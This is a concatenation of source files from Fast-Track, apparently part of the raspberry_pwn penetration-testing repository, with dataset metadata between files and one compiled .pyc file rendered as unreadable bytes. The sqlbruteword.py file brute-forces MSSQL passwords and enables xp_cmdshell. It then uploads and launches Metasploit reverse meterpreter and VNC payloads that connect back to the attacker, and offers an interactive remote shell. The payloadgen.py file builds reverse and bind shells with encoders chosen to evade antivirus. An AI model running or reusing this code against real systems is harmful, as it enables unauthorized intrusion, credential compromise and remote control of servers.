pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,345
include.pyc
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/include.pyc
Ñò šƒkOc@s\ddkZddkZddkZeidƒZd„Zddd„ƒYZd„ZdS(iÿÿÿÿNs BackTrack.+cCs0tddƒ}x|D]}|iƒ}qW|S(Nsbin/version/versiontr(tfiletrstrip(t readversiontlinetversion((s+/var/pwnplug/fasttrack/bin/ftsrc/include.pyt get_version s tbcolorscBs;eZdZdZdZdZdZdZdZd„Z RS(ssssssscCs:d|_d|_d|_d|_d|_d|_dS(Nt(tPURPLEtBLUEtGREENtYELLOWtREDtENDC(tself((s+/var/pwnplug/fasttrack/bin/ftsrc/include.pytdisables      ( t__name__t __module__R R R R R tBOLDRR(((s+/var/pwnplug/fasttrack/bin/ftsrc/include.pyRscCsµtidƒtidƒtidtidtidtidtidtidtidtid tid tid tid tid tidtiGHdS(Nitclears™ [---] [---] [---] Fast Track: A new beginning [---] [---] Written by:s David Kennedy t(tReL1Ks.) [---] [---] Lead Developer:s Joey Furr tj0fers1) [---] [---] Version: s4.0.1s2 [---] [---] Homepage: shttp://www.secmaniac.comsO [---] [---] [---] ( ttimetsleeptostsystemRR R R R(((s+/var/pwnplug/fasttrack/bin/ftsrc/include.pyt print_banner$s  ((RtreRtcompilet re_distrofileRRR(((s+/var/pwnplug/fasttrack/bin/ftsrc/include.pyt<module>s    
2,068
Python
.py
16
127.25
439
0.357526
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,346
updates.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/updates.py
#!/usr/bin/env python import time import os import sys import subprocess import re try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() print "\nNote this DOES NOT install prereqs, please go to the installation menu for that.\nUpdating Fast-Track, Metasploit, Aircrack-NG, Nikto, W3AF, Kismet-NewCore and SQL Map" time.sleep(3) sys.path.append("%s/bin/ftsrc/" % (definepath)) import updateft counter=0 print """**** Updating Metasploit v3 ****""" definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: updatingmetasploit=subprocess.Popen("svn update %s" % (metapath), shell=True).wait() print """\n**** Updating AirCrack-NG ****""" updatesaircrack=subprocess.Popen("svn co http://trac.aircrack-ng.org/svn/trunk /pentest/wireless/aircrack-ng;cd /pentest/wireless/aircrack-ng;make sqlite=true && make sqlite=true install", shell=True).wait() print "\nUpdating Nikto..." niktoupdate=subprocess.Popen("cd /pentest/scanners/nikto/;./nikto.pl -update", shell=True).wait() print "\nUpdating the Web Application Attack and Audit Framework (W3AF)" w3afupdates=subprocess.Popen("svn co https://w3af.svn.sourceforge.net/svnroot/w3af/ /pentest/web/w3af", shell=True) w3afupdates=subprocess.Popen("cd /pentest/web/w3af;svn update", shell=True).wait() print "\nUpdating SQLMap..." # CHECK FOR NEW SQLMAP fileopen=file("bin/config/sqlmap_config", "r").readlines() for line in fileopen: line=line.rstrip() if line == 'SQLMAP=0': #fileopen.close() filewrite=file("bin/config/sqlmap_config", "w") filewrite.write("SQLMAP=1") filewrite.close() subprocess.Popen("rm -rf /pentest/database/sqlmap", shell=True).wait() subprocess.Popen("svn co https://svn.sqlmap.org/sqlmap/trunk/sqlmap /pentest/database/sqlmap/", shell=True).wait() if line == 'SQLMAP=1': sqlmapupdate=subprocess.Popen("svn co https://svn.sqlmap.org/sqlmap/trunk/sqlmap /pentest/database/sqlmap", shell=True).wait() print "\nUpdating Offsec Exploit-DB exploits..." subprocess.Popen("cd /pentest/exploits/;svn co svn://devel.offensive-security.com/exploitdb exploitdb", shell=True).wait() subprocess.Popen("cd /pentest/exploits/exploitdb;svn update", shell=True).wait() print "Updating Kismet-NewCore..." if not os.path.isfile("/pentest/wireless/kismet-newcore"): createdir=subprocess.Popen("mkdir /pentest/ 2> /dev/null", shell=True) createdir=subprocess.Popen("mkdir /pentest/wireless/ 2> /dev/null" , shell=True) rmold=subprocess.Popen("rm /pentest/wireless/kismet-newcore 2> /dev/null", shell=True) conew=subprocess.Popen("svn co https://www.kismetwireless.net/code/svn/trunk /pentest/wireless/kismet-newcore;cd /pentest/wireless/kismet-newcore;./configure;make;make install", shell=True).wait() print "Updating Gerix Wifi Cracker NG" subprocess.Popen("cd /usr/share;svn co svn://devel.offensive-security.com/gerix-ng", shell=True).wait() subprocess.Popen("cd /usr/share;svn update", shell=True).wait() print "Updating the Social-Engineer Toolkit" subprocess.Popen("cd /pentest/exploits/;svn co http://svn.secmaniac.com/social_engineering_toolkit SET/", shell=True).wait() subprocess.Popen("cd /pentest/exploits/SET;svn update", shell=True).wait() print "\nFinished updating...." except KeyboardInterrupt: print "\n\nControl-C detected, exiting Fast-Track...\n\n" sys.exit() except Exception, e: print "Error occured, printing error message: "+e
3,771
Python
.py
71
48.873239
210
0.72582
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,347
sqlbruteword.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlbruteword.py
#!/usr/bin/env python import _mssql import sys import os import time import re import subprocess import pexpect import socket definepath=os.getcwd() try: import psyco psyco.full() except ImportError: pass try: # scanfirst1=sys.argv[4] username=sys.argv[5] except IndexError: # scanfirst1=raw_input("Enter the IP Range to scan for SQL Scan (example 192.168.1.1-255): ") print ("Hit return for a default of 'sa'\n") username=raw_input("Enter username for SQL database (example:sa): ") if username == "": username = "sa" try: path=sys.argv[6] except IndexError: print ("\nNOTE: There is a default wordlist in bin/dict/wordlist.txt. By hitting enter will default this dictionary.\n") path=raw_input("Enter the path to the wordlist file: ") if path == "": path = ("bin/dict/wordlist.txt") # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line # Define payload delivery here import sqlping def Payload_Delivery(choice,jumptosession): try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(4) ipaddr=ipaddr.getsockname()[0] except Exception: print "No internet connection detected, please enter your IP Address in manually." ipaddr=raw_input("Enter your IP here: ") port=raw_input("What port do you want the payload to connect to you on: ") if choice=='2': print "Metasploit Reverse VNC Upload Detected.." print "Launching MSFCLI VNC Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") if choice=='3': print "Metasploit Reverse Meterpreter Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") # choice 4 = metasploit reflective meterpreter payload if choice=='4': print "Metasploit Reflective Reverse Meterpreter Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivemeterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivemeterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo e ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") # choice 5 = metasploit reflective vnc payload if choice=='5': print "Metasploit Reflective Reverse VNC Upload Detected.." print "Launching Meterpreter Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit Reflective VNC Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/reflectivevncinject/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() print "Prepping 64KB Debug Bypass stager for delivery..." h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines() query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) for line1 in h2bread: line1=line1.rstrip() query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1)) printquery=mssql.execute_query(query5) temp=line1.replace("echo ", "") print "Sending Payload: "+temp print "Converting our stager to an executable..." query5=("""xp_cmdshell 'debug<h2bdelivery'""") printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del h2bdelivery'""") printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""") printquery=mssql.execute_query(query5) print "Stager delivery complete." print "Coverting Metasploit to hex." import binascii filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait() filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines() filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w") for line in fileopen: line=binascii.hexlify(line) filewrite.write(line) filewrite.close() print "Done with payload hex conversion." print "Splitting payload for delivery, this may take a couple..." fileopen=open("%s/bin/appdata/metasploithex" % (definepath)) createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait() filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w") while fileopen: a=fileopen.read(900).rstrip() if a == "": break filewrite.write(a) filewrite.write("\n") filewrite.close() query5=("""xp_cmdshell 'del metasploit*'""") printquery=mssql.execute_query(query5) fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines() import random randomgen=random.randrange(1,10000) for line in fileopen: line=line.rstrip() query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen)) printquery=mssql.execute_query(query5) print "Sending payload: "+line print "Metasploit payload delivered.." print "Converting our payload to binary, this may take a few..." query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) print "Cleaning up..." query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) query5=("""xp_cmdshell 'del h2b.exe'""") printquery=mssql.execute_query(query5) print "Launching payload, this could take up to a minute..." print "When finished, close the metasploit handler window to return to other compromised SQL Servers." query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen)) printquery=mssql.execute_query(query5) pause=raw_input("Press enter to return back to compromised SQL Servers.") print "Brute forcing username: "+username+"\n" print "Be patient this could take awhile...\n" rmold=os.popen3("rm bin/appdata/sqlsuccesslist.txt;rm bin/appdata/*comp") try: time.sleep(2) for line in open('bin/appdata/sqlopen.txt','r').readlines(): counter=0 for line2 in open('%s' % (path),'r').readlines(): try: line2 = line2.rstrip() print ('Brute forcing password of %s on IP %s' % (line2,line)).rstrip() mssql = _mssql.connect('%s' % (line),'%s' % (username),'%s' % (line2)) counter=counter+1 print '\nSQL Server Compromised: "%s" with password of: "%s" on IP %s' % (username,line2,line) filewrites=open("bin/appdata/sqlsuccesslist.txt","a") line=line.rstrip() if counter == 1: filewrites.write("%s,%s,%s" % (username,line2,line)+ '\n') except Exception: pass except Exception: pass try: filewrites.close() except Exception: pass if os.path.isfile("bin/appdata/sqlsuccesslist.txt"): while 1==1: try: fileread=open("bin/appdata/sqlsuccesslist.txt","r").readlines() count=1 print "\n*******************************************\nThe following SQL Servers were compromised:\n*******************************************\n" for line in fileread: line=line.rstrip() line=tuple(line.split(",")) print str(count)+". "+str(line[2]).rstrip()+ " *** U/N: "+str(line[0]).rstrip()+" P/W: "+str(line[1]).rstrip()+" ***" compsystem=open("bin/appdata/%scomp" % (count), "w") compsystem.write("%s,%s,%s" % (line[2],line[0],line[1])) count=int(count)+1 except Exception: pass compsystem.close() print "\n*******************************************\n" print "To jump to a shell, enter the SQL Server number. \n\nExample: 1. 192.168.1.32 you would type 1" jumptosession=raw_input("\nEnter the number: ") if jumptosession == 'quit': print "\n\nExiting Fast-Track...\n\n" rmold=os.popen3("rm bin/appdata/*comp;rm bin/appdata/sqlsuccesslist.txt;rm sqlopen.txt;rm SqlScan.txt;rm sqlpassword") sys.exit() try: fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() except Exception: print "\nEnter the number of the session only. Example 1. 192.168.1.32 you would enter 1" jumptosession=raw_input("\nEnter the number of the SQL Server to jump interactive with. Example 1: ") try: choice=sys.argv[7] except Exception: choice=raw_input("""Specify payload: 1. Standard Command Prompt 2. Metasploit Reverse VNC TCP (Requires Metasploit) 3. Metasploit Meterpreter (Requires Metasploit) 4. Metasploit Reflective Meterpreter DLL Injection (Requires Metasploit) 5. Metasploit Reflective VNC DLL Injection (Requires Metasploit) Enter number here: """) fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() for line in fileread2: line=line.rstrip() line=tuple(line.split(",")) mssql = _mssql.connect('%s:1433' % (line[0]),'%s' % (line[1]),'%s' % line[2]) print "\nEnabling: XP_Cmdshell..." enablexp="EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;" enablexp2="RECONFIGURE;" try: printquery1=mssql.execute_query(enablexp) except Exception: pass try: printquery2=mssql.execute_query(enablexp2) except Exception: pass mssql.select_db('master') print "Finished trying to re-enable xp_cmdshell stored procedure if disabled.\n" if choice == '1': print 'Jumping you into a shell one moment..\n' print '\nYou can always type "quit" to continue on to a seperate server.\n' time.sleep(2) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your shell commands here: ") if commandprompt == 'quit' : break try: query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.execute_query(query3) for line in mssql: line=str(line) match=re.search("""\(\(\(\'output\'\, 1\)\,\)\, -1\, \[\(""", line) if match: line=line.replace("""((('output', 1),), -1, [(""", "") line=line.replace(r"""\\\\\r""", "") line=line.replace("""(None""", "") line=line.replace("""('""", "") line=line.replace("""',),""", "\n") line=line.replace(""",)])""", "\n") line=line.replace(""",),""", "\n") line=line.replace("'","") line=line.replace(r"\r","") line=line.replace(r"\t","") line=line.replace("None","") line=line.replace(r"""The command completed with one or more errors.""", "\n") print "\n\nShell brought to you by Fast-Track: Happy pwning" + "\n\n"+line except Exception: pass if choice == '2': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '3': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '4': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '5': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if not os.path.isfile("bin/appdata/sqlsuccesslist.txt"): print "Sorry the brute force attack was unsuccessful. Better luck next time!\n" deloldfile=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm bin/appdata/1comp 2> /dev/null;rm bin/appdata/metasploit 2> /dev/null;rm metasploitdeliver 2> /dev/null;rm metasploithex 2> /dev/null;rm sqlsuccesslist.txt 2> /dev/null", shell=True).wait()
25,904
Python
.py
469
43.292111
305
0.607555
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,348
payloadgen.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/payloadgen.py
#!/usr/bin/env python # Import modules import subprocess,time,sys,os,re definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line include.print_banner() print """ The Metasploit Payload Generator is a simple tool to make it extremely easy to generate a payload and listener on the Metasploit framework. This does not actually exploit any systems, it will generate a metasploit payload for you and save it to an executable. You then need to someone get it on the remote server by yourself and get it to execute correctly. This will also encode your payload to get past most AV and IDS/IPS. """ try: # Specify path to metasploit path=metapath # Specify payload choice1=raw_input(''' What payload do you want to generate: Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker. 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker. 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker. 4. Windows Bind Shell Execute payload and create an accepting port on remote system. <ctrl>-c to Cancel Enter choice (example 1-6): ''') counter=0 if choice1=='1': choice1=("windows/shell_reverse_tcp") if choice1=='2': choice1=("windows/meterpreter/reverse_tcp") if choice1=='3': choice1=("windows/vncinject/reverse_tcp") shell=raw_input("Do you want a courtesy shell yes or no: ") if shell=='yes' or shell=='y': courtesyshell=("DisableCourtesyShell=True") if shell=='no' or shell=='no': courtesyshell=("") counter=counter+1 if counter==0: courtesyshell=("") if choice1=='4': choice1=("windows/shell_bind_tcp") # Specify Encoding Option # re-clear the screen include.print_banner() encode=raw_input(''' Below is a list of encodings to try and bypass AV. Select one of the below, Avoid_UTF8_tolower usually gets past them. 1. avoid_utf8_tolower 2. shikata_ga_nai 3. alpha_mixed 4. alpha_upper 5. call4_dword_xor 6. countdown 7. fnstenv_mov 8. jmp_call_additive 9. nonalpha 10. nonupper 11. unicode_mixed 12. unicode_upper 13. alpha2 14. No Encoding Enter your choice : ''') if encode=='1': encode=("ENCODING=avoid_utf8_tolower") if encode=='2': encode=("ENCODING=shikata_ga_nai") if encode=='3': encode=("ENCODING=alpha_mixed") if encode=='4': encode=("ENCODING=alpha_upper") if encode=='5': encode=("ENCODING=call4_dword_xor") if encode=='6': encode=("ENCODING=countdown") if encode=='7': encode=("ENCODING=fnstenv_mov") if encode=='8': encode=("ENCODING=jmp_call_additive") if encode=='9': encode=("ENCODING=nonalpha") if encode=='10': encode=("ENCODING=nonupper") if encode=='11': encode=("ENCODING=unicode_mixed") if encode=='12': encode=("ENCODING=unicode_upper") if encode=='13': encode=("ENCODING=alpha2") if encode=='14': encode=("") # Specify Remote Host choice2=raw_input("\n Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): ") choice3=raw_input(" Enter the port of the Listener: ") choice4=raw_input('''\n Do you want to create an EXE or Shellcode 1. Executable 2. Shellcode Enter your choice: ''') if choice4 =='1': choice4=("X") choice5=("exe") if choice4 =='2': choice4=("C") choice5=("txt") # Coming soon... #restricted=raw_input("Do you want to avoid certain restricted characters, yes or no: ") #if restricted == 'yes' or restricted == 'y': # restricted=raw_input(r""" #Restricted characters are those that may get jacked up within #the stack. Which ones would you like to avoid. # #Example: \x00\xff # #Which chars would you like to restrict: """) # restrict=(r"-b " + "'"+restricted+"'") # if restricted == 'no' or restricted == 'n' : restrict = '' generatepayload=subprocess.Popen(r"%smsfpayload %s LHOST=%s LPORT=%s %s %s %s > payload.%s" % (path,choice1,choice2,choice3,encode,courtesyshell,choice4,choice5), shell=True).wait() print "\n\n A payload has been created in this directory and is named 'payload.%s'. Enjoy!\n\n" % (choice5) # Start listener code listener=raw_input(" Do you want to start a listener to receive the payload yes or no: ") if listener=='yes' or listener =='y': # if they want a listener, start here print "\n Launching Listener..." # launch actual listener print "***********************************************************************************************" print """\n Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='%s' Listening on IP: %s on Local Port: %s Using encoding: %s\n""" % (choice1, choice2, choice3, encode) print "***********************************************************************************************" listeerlaunch=subprocess.Popen("%s/msfcli exploit/multi/handler PAYLOAD=%s LHOST=%s LPORT=%s %s E" % (path,choice1,choice2,choice3,encode), shell=True).wait() else: print "\n\n Exiting PayloadGen...Hack the gibson....\n\n" sys.exit(1) # Catch all errors except KeyboardInterrupt: print "\n\n Keyboard Interrupt Detected, exiting Payload Gen.\n" except Exception,e: print " Something went wrong, printing error message.." print e
5,810
Python
.py
130
40.1
189
0.650707
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,349
sqlbinarypayload.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlbinarypayload.py
